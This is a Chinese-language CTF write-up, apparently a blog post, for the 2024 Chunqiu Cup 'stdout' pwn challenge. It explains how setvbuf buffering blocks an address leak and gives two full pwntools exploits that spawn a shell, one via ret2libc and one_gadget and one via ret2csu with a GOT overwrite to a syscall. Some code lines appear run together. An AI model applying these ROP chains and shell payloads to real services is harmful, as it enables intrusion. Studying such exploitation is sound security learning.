2024春秋杯 stdout

news/2024/11/20 8:29:09/文章来源:https://www.cnblogs.com/liulangbxc/p/18290043

考点:文件,setvbuf缓冲区,ret2syscall,ret2csu

题目给了libc文件。
main函数和vlun函数存在明显的栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[80]; // [rsp+0h] [rbp-50h] BYREFinit(argc, argv, envp);puts("where is my stdout???");read(0, buf, 0x60uLL);return 0;
}
ssize_t vuln()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFreturn read(0, buf, 0x200uLL);
}

解1

直接从main跳到vuln,然后写了got地址、libc地址,ret2libc收工。
然后老是泄露不出来。。。
原因是setvbuf设置了stdout全缓冲:

int init()
{setvbuf(stdout, 0LL, 0, 0LL);return setvbuf(stdin, 0LL, 2, 0LL);
}

setvbuf函数,它有三种mode:

全缓冲:(_IOFBF)0,缓冲区满 或 调用fflush() 后输出缓冲区内容。
行缓冲:(_IOLBF)1,缓冲区满 或 遇到换行符 或 调用fflush() 后输出缓冲区内容。
无缓冲:(_IONBF)2,直接输出。

也就是说,要想使缓冲区的got地址打印出来,有以下思路:

  1. 重新设置setvbuf,但这不知道管不管用,没法尝试因为这需要4个参数,没法控制rdx和rcx
  2. 调用fflush(stdout),但是需要泄露libc地址,死循环,这里做不到
  3. 挤爆缓冲区,自然就会把内容打印出来了
    这里只有第三种思路是可行的。

但是实际操作的时候,本地可以getshell,但是远程不行,寄!
另外,system("/bin/sh")不行,但是one_gadget可以。
Exp

from pwn import *
import sysif len(sys.argv) == 3:ip = sys.argv[1]port = sys.argv[2]sh = remote(ip,port)
else:sh = process("./pwn")elf = ELF("./pwn")
# libc = elf.libc
libc = ELF("./libc-2.31.so")
# libc = ELF("./libc.so.6")# context(os="linux",arch="amd64",log_level="debug")
#gdb.attach(sh)offset1 = 0x50+8
vuln = 0x40125D
offset2 = 0x20+8
pop_rdi = 0x00000000004013d3 # pop rdi ; ret
ret = 0x000000000040101a # ret
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
extend = elf.symbols["extend"]
hello = 0x402032
just = 0x402008sh.send(b"a"*offset1 + p64(vuln))
sleep(1)payload = b'b'*(offset2) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(hello) + p64(puts_plt)+ p64(vuln) + p64(vuln)
sh.send(payload)
recv_data = sh.recv(timeout=1)
print("----",len(recv_data))
i = 0 
# 用while或者for都行
# while len(recv_data) == 0:
#     payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)
#     # sleep(1)
#     sh.send(payload)
#     print(i)
#     wait = 1
#     if i == 29:
#         wait = 3
#     recv_data = sh.recv(numb=48,timeout=wait)
#     i = 1 + i
for i in range(0):payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)sleep(1)sh.send(payload)print(i)recv_data = sh.recv()# print(sh.recv())
puts_addr = u64(recv_data.split(b"hello")[0].split(b'\n')[1].ljust(8,b"\x00"))
print(recv_data.split(b"hello")[0])
print(hex(puts_addr))
pause()
# pause()
# puts_addr = u64(sh.recvuntil(b"\x7f")[-6:])
# print(puts_addr)
puts_offset = libc.symbols["puts"]
libc_base = puts_addr - puts_offset
system = libc_base + libc.symbols["system"]
bin_sh = next(libc.search(b"/bin/sh\x00")) + libc_baseprint("bin_sh--",hex(bin_sh)," system--",hex(system))'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:[r15] == NULL || r15 == NULL || r15 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xe3b01 execve("/bin/sh", r15, rdx)
constraints:[r15] == NULL || r15 == NULL || r15 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xe3afe,0xe3b01,0xe3b04]
pop_r15_r12 = 0x00000000004013cc # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret# payload = b'a'*(offset2) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(ret)+ p64(system)
payload = b'a'*offset2 + p64(pop_r15_r12) + p64(0) * 4 + p64(one_gadget[0] + libc_base)
#payload = flat([b'a'*offset2,pop_r15_r12,0,0,0,0,one_gadget[0]+libc_base])
sh.send(payload)
sh.interactive()

有一篇类似的题目writeup
https://mp.weixin.qq.com/s/hBzkylk58OoXWlQ7e8ipcQ

解2

控制读入binsh,修改setvbuf低位为syscall,通过read修改,然后read读入赋给rax为0x3b,csu跳到syscall执行
写入/bin/sh不难,写到bss段即可
修改setvbuf低位为syscall,这个是相邻函数存在着syscall

read函数的返回值是读入数据的长度,存放在rax。
通过ret2csu执行syscall

csu1
=============================================================
.text:00000000004013CA 5B                            pop     rbx
.text:00000000004013CB 5D                            pop     rbp
.text:00000000004013CC 41 5C                         pop     r12
.text:00000000004013CE 41 5D                         pop     r13
.text:00000000004013D0 41 5E                         pop     r14
.text:00000000004013D2 41 5F                         pop     r15
.text:00000000004013D4 C3                            retncsu2
==============================================================
.text:00000000004013B0 4C 89 F2                      mov     rdx, r14
.text:00000000004013B3 4C 89 EE                      mov     rsi, r13
.text:00000000004013B6 44 89 E7                      mov     edi, r12d
.text:00000000004013B9 41 FF 14 DF                   call    qword ptr [r15+rbx*8]

先执行csu1,然后通过ret跳转执行csu2,最后call [r15]

rbx:取0,方便后面call的时候控制地址
rbp:没啥用,取0
r12:mov给rdi-->mov edi, r12d,rdi高位都是0
r13:传给rsi
r14:传给rdx
r15:放入的值应该是存放了要执行函数地址的指针,如放入某个got地址,其指向的则是函数的真实地址,call的时候就回去执行该函数

本地不行,远程可以,6!
Exp

from pwn import *
import sysif len(sys.argv) == 3:ip = sys.argv[1]port = sys.argv[2]sh = remote(ip,port)
else:sh = process("./pwn")libc = ELF("./libc-2.31.so")
elf = ELF("./pwn")context(os="linux",arch="amd64",log_level="debug")
# gdb.attach(sh,"b *0x401348")offset1 = 0x50+8
offset2 = 0x20+8
bss = 0x404070 + 0x100
read_plt = elf.plt["read"]
setvbuf_got = elf.got["setvbuf"]
pop_rsi_r15 = 0x00000000004013d1 # pop rsi ; pop r15 ; ret
pop_rdi = 0x00000000004013d3 # pop rdi ; ret
csu1 = 0x4013CA
csu2 = 0x4013B0
vuln = 0x40125D
payload1 = b"a"*offset1 + p64(vuln)
sh.send(payload1)# call read
payload2 = b"a"*offset2 + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt) + p64(vuln)
payload2 = payload2.ljust(0x200,b"\x00") # vuln--->read(0, buf, 0x200uLL)
sh.send(payload2)
sleep(1)
# write "/bin/sh\x00" to bss
sh.send(b"/bin/sh\x00")payload3 = b"a"*offset2+p64(pop_rsi_r15)+p64(setvbuf_got)+p64(0)+p64(read_plt)
payload3 += p64(pop_rsi_r15)+p64(bss+0x200)+p64(0)+p64(read_plt)
payload3 += p64(csu1)+p64(0)*1+p64(1)+p64(bss)+p64(0)*2+p64(setvbuf_got)+p64(csu2)
# 0--rbx,bss--r12d--edi,0--r13--rsi,0--r14--rdx,setvbuf_got--r15--call [r15+0*8]
# payload3 += payload3.ljust(0x200,b"\x00")
pause()
sh.send(payload3)
sleep(1)
# change setvbuf to syscall
sh.send(b"\xc9")
pause()
sh.send(b"c"*0x3b)
# read return length of inputed data,rax
# rax==>59 sys_execve rdi==>const char *filename,rsi==>const char *const argv[],rsi==>const char *const envp[]sh.interactive()'''
Gadgets information
============================================================
0x00000000004013cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013d0 : pop r14 ; pop r15 ; ret
0x00000000004013d2 : pop r15 ; ret
0x00000000004013cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011fd : pop rbp ; ret
0x00000000004013d3 : pop rdi ; ret
0x00000000004013d1 : pop rsi ; pop r15 ; ret
0x00000000004013cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : retcsu1
=============================================================
.text:00000000004013CA 5B                            pop     rbx
.text:00000000004013CB 5D                            pop     rbp
.text:00000000004013CC 41 5C                         pop     r12
.text:00000000004013CE 41 5D                         pop     r13
.text:00000000004013D0 41 5E                         pop     r14
.text:00000000004013D2 41 5F                         pop     r15
.text:00000000004013D4 C3                            retncsu2
==============================================================
.text:00000000004013B0 4C 89 F2                      mov     rdx, r14
.text:00000000004013B3 4C 89 EE                      mov     rsi, r13
.text:00000000004013B6 44 89 E7                      mov     edi, r12d
.text:00000000004013B9 41 FF 14 DF                   call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
'''

payload2,payload3调用read的时候没有控制rdi的值,因为这里一直是0,标准输入
参考:
https://www.cnblogs.com/imarch22/p/18288087#stdout
https://www.mrskye.cn/archives/eedef7bd/
https://xkaneiki.github.io/2020/10/23/unexploitable/
https://cloud.tencent.com/developer/article/2063693

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/740604.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

怎么看时序图

时序图看法 从上到下,从左到右 看一个单位时间,拆分成一个一个模块 简单的时序图,一根线串口通信SPIS时序图总体传输24个bit注意无效电平可能传输不同的电平

工程仪器振弦采集仪的设计与研发进展

工程仪器振弦采集仪的设计与研发进展 工程仪器振弦采集仪是一种用于测量和记录物体振动参数的仪器。它能够实时采集物体的振动信号,并通过内部的传感器将振动信号转化为电信号,然后进行信号放大和处理,最终以数字形式显示或存储。 河北稳控科技振弦采集仪的设计与研发进展主…

近似排序......

一年没动算法的蒻蒟随手点开了之前做过的一道【近似排序】,然后开始了,恢复之旅......TFLSOJ【近似排序】 看到题目经简单分析后先写出了一种傻瓜解法,(可能叫 暴力??) #include<bits/stdc++.h> using namespace std; int x,y; int a[110]; int main(){cin>&g…

SMU Summer 2024 Contest Round 1

SMU Summer 2024 Contest Round 1 Dice and Coin 题意 给个 n 面骰子和一枚硬币,初始投骰子,若骰子的值在 1 到 \(K-1\) 之间则反复投硬币,硬币为正则该值翻倍,否则为 0 ,当值为 0 输掉游戏或者大于等于 \(K\) 时赢得游戏结束,问你可以赢得游戏的概率为多少。 思路 以 1 …

分布式事务最经典的七种解决方案

转载:后端 - 分布式事务最经典的七种解决方案 - 分布式事务 - SegmentFault 思否 随着业务的快速发展、业务复杂度越来越高,几乎每个公司的系统都会从单体走向分布式,特别是转向微服务架构。随之而来就必然遇到分布式事务这个难题。 这篇文章首先介绍了相关的基础理论,然后…

江门数字化mes系统定制哪家好 珠海盈致mes系统服务商

对于江门数字化MES系统的定制服务,选择珠海盈致科技是一个不错的选择。珠海盈致科技是一家专业的智能制造解决方案提供商,具有丰富的数字化制造和MES系统定制经验。以下是选择珠海盈致科技的一些优势: 专业团队:珠海盈致科技拥有一支专业的团队,包括软件工程师、制造业专家…

python+anaconda环境搭建

一:下载安装 1、安装anaconda anaconda官网2、安装pycharm pycharm官网二:配置环境 1、找到anaconda安装位置在系统环境变量中添加如下信息打开DOS框,输入conda --version,出现如下信息说明配置成功三:创建虚拟环境 1、打开DOS框;输入(name表示自己虚拟环境的名称;versi…

Open-Sora1.2环境搭建推理测试

​引子 前阵子写了一篇Open-Sora1.0环境搭建&推理测试(Open-Sora1.0环境搭建&推理测试_自己搭建sora服务-CSDN博客,感兴趣的童鞋,请移步)。Open-Sora1.1发布的时候,撇了一眼新闻。后面一转头,忘记这个事情了。无意间翻到其开源网站上,发现2024.6.17发布1.2版本了…

04、组件介绍

k8s里的资源对象 在k8s里,yaml用来声明API对象的,那么API对象都有哪些? 可以这样查看资源对象 kubectl api-resources yaml使用缩进表示层次,缩进不允许使用tab,只能用空格,缩进空格数多少不要求,只要保证同一层级空格数一样多即可 使用 # 书写注释 数组(列表)是使用 …

代码随想录算法训练营第25天 | 491.递增子序列

491.递增子序列 给定一个整型数组, 你的任务是找到所有该数组的递增子序列,递增子序列的长度至少是2。 示例: 输入: [4, 6, 7, 7] 输出: [[4, 6], [4, 7], [4, 6, 7], [4, 6, 7, 7], [6, 7], [6, 7, 7], [7,7], [4,7,7]] 说明: 给定数组的长度不会超过15。 数组中的整数范围是…

零基础 用unity做一款FPS射击游戏-下载安装unity(1)

【【Unity教程】零基础制作一个简单的FPS游戏案例-基于Unity2023】https://www.bilibili.com/video/BV1gH4y1575r?p=2&vd_source=5458d6a330cf989012a60998192e4cc2 这是我所看的教程 首先要下载Unity Hub(管理各种版本的unity) 进入 Unity官方下载_Unity最新版_从Unity …

离线安装tcpdump

链接:https://pan.baidu.com/s/1Jbos9YwIgt6oETmBA5lezQ 提取码:fwgj 检查gcc环境若无gcc环境 执行以下命令: tar -xvf gcc.tar cd gcc rpm -Uvh *.rpm --nodeps –forcem4包安装tar -xvf m4-1.4.19.tar.gz cd m4-1.4.19 ./configure make make installbison包安装tar -xvf …